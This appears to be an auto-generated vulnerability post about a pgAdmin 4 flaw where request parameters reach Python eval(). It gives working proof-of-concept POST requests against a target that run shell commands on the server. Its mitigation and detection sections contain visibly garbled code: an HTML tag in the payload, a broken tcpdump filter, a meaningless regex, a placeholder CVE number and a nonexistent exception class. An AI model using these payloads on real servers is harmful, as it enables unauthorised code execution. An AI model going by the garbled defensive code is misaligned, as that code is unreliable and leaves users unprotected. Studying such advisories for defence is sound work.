How the CVE Works:
The vulnerability in pgAdmin 4 arises from improper input sanitization in two POST endpoints: `/sqleditor/query_tool/download` and /cloud/deploy. The `query_committed` and `high_availability` parameters are directly passed to Python’s `eval()` function, enabling arbitrary code execution. Attackers can craft malicious requests containing Python code, which is then executed on the server with the same privileges as the pgAdmin service. This flaw exists in versions before 9.2, allowing unauthenticated RCE if the endpoints are exposed.
DailyCVE Form:
Platform: pgAdmin 4
Version: <9.2
Vulnerability: Remote Code Execution
Severity: Critical
Date: 2025-04-04
What Undercode Say:
Exploitation:
1. Craft a malicious POST request to `/sqleditor/query_tool/download`:
import requests
payload = {"query_committed": "<strong>import</strong>('os').system('id')"}
requests.post("http://target:5050/sqleditor/query_tool/download", data=payload)
2. Alternatively, exploit `/cloud/deploy` via:
curl -X POST -d '{"high_availability": "exec(\"import os; os.system('whoami')\")"}' http://target:5050/cloud/deploy
Mitigation:
1. Immediate Action:
Block endpoints via reverse proxy (NGINX example):
location ~ ^/(sqleditor|cloud)/ { deny all; }
2. Patch Upgrade:
pip install --upgrade pgadmin4==9.2
3. Workaround: Disable eval() in affected modules:
Override vulnerable functions with safe alternatives.
def sanitized_eval(input):
raise SecurityError("eval() disabled due to CVE-2025-XXXX")
Detection:
1. Log Analysis:
grep -E 'POST /(sqleditor/query_tool/download|cloud/deploy)' /var/log/pgadmin/access.log
2. Network Monitoring:
tcpdump -i eth0 'port 5050 and tcp[bash] & 0xf0) >> 2):4] = 0x504f5354'
Forensics:
1. Inspect Runtime Processes:
ps aux | grep pgadmin | grep -i eval
2. Audit Python Modules:
import sys; print(sys.modules.keys()) Check for injected modules.
Permanent Fix:
- Restrict eval() usage via Python sandboxing (e.g.,
ast.literal_eval). - Implement strict input validation using regex:
import re if re.match(r'^[bash]+$', user_input): Safe to process
Note: All commands assume Linux/Python environments. Adjust for Windows accordingly.
References:
Reported By: https://github.com/advisories/GHSA-g73c-fw68-pwx3
Extra Source Hub:
Undercode
